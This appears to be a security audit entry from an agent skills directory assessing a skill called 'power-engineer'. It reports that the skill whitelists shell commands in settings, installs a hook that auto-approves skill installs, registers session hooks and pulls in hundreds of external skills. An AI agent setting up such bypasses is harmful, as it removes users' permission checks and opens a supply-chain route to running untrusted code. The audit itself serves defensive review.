The Agent Skills Directory

[COMMAND_EXECUTION]: The skill modifies the local .claude/settings.json file to whitelist specific shell command patterns, specifically Bash(npx skills@latest*) and Bash(mkdir -p .power-engineer). This configuration allows these commands to execute without the standard interactive user permission prompts.
[COMMAND_EXECUTION]: Installs a PreToolUse hook script at .claude/hooks/allow-skills-install.sh. This script programmatically intercepts and auto-approves bash commands that match the npx skills add pattern, creating a mechanism to bypass interactive security controls for skill installations.
[EXTERNAL_DOWNLOADS]: The skill facilitates the download and execution of over 200 external skills from various GitHub repositories. While many sources are well-known technology organizations, the extensive list includes numerous personal repositories, representing a significant supply chain surface area.
[COMMAND_EXECUTION]: Registers multiple project lifecycle hooks (SessionStart, SessionEnd, PreCompact) in the project configuration. These hooks execute local bash scripts (session-end-handoff.sh and pre-compact-snapshot.sh) to automate state snapshots and context restoration across sessions.
[COMMAND_EXECUTION]: The installer.md module is designed to execute immediate installations using npx skills@<version> add. It implements a version pinning mechanism using a .skills-cli-version file to control the CLI version used for remote code execution.
[DATA_EXFILTRATION]: The skill establishes a multi-tier memory architecture that automatically reads project metadata, including git log, git status, and file contents, and writes them to local storage or the agent's project memory. While no external network exfiltration was detected in the provided scripts, this creates a detailed local record of project activity.

power-engineer